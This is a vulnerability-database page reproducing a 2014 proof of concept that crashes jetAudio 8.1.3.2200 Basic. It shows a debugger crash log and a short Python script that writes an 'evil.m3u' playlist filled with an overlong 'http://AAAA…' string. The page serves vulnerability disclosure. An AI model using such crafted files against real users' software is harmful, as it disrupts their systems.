Lucene search
K

jetAudio 8.1.3.2200 Crash Proof Of Concept

🗓️ 27 Dec 2014 00:00:00Reported by Hadji SamirType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 16 Views

jetAudio 8.1.3.2200 Basic (m3u) Crash Proof Of Concept, Vulnerable on Windows

Code
`# Exploit Title : jetAudio 8.1.3.2200 Basic (m3u) Crash POC  
# Product : jetAudio Basic  
# Date : 27.12.2014  
# Exploit Author : Hadji Samir [email protected]  
# Software Link : http://www.jetaudio.com/download/  
# Vulnerable version : 8.1.3.2200 Basic  
# Vendor Homepage : http://www.jetaudio.com/  
# Tested on : Windows 7 x86 fr  
#============================================================================================  
# Open created POC file (evil.m3u) with jetAudio  
# Details  
# ((2bb0.2a60): Break instruction exception - code 80000003 (first chance)  
# eax=00000000 ebx=00000000 ecx=0012fb0c edx=76ed64f4 esi=fffffffe edi=00000000  
# eip=76f2e60e esp=0012fb28 ebp=0012fb54 iopl=0 nv up ei pl zr na pe nc  
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll -   
# ntdll!LdrVerifyImageMatchesChecksum+0x633:  
# 76f2e60e cc int 3  
#  
# 0:000> kb  
# ChildEBP RetAddr Args to Child   
# WARNING: Stack unwind information not available. Following frames may be wrong.  
# 0012fb54 76f0e2d1 7ffdf000 7ffd5000 76f6714c ntdll!LdrVerifyImageMatchesChecksum+0x633  
# 0012fcb0 76ef8fc0 0012fd24 76e90000 7346e5a2 ntdll!RtlTimeToElapsedTimeFields+0x4e3d  
# 0012fd00 76eeb2c5 0012fd24 76e90000 00000000 ntdll!vsnwprintf+0x3eb  
# 0012fd10 00000000 0012fd24 76e90000 00000000 ntdll!LdrInitializeThunk+0x10  
#============================================================================================  
#!/usr/bin/python  
  
from struct import pack  
m3u = ("http://%s")  
buf = "\x41" * 1000  
m3u %= buf  
fd = open("evil.m3u", "w")  
fd.write(m3u)  
fd.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation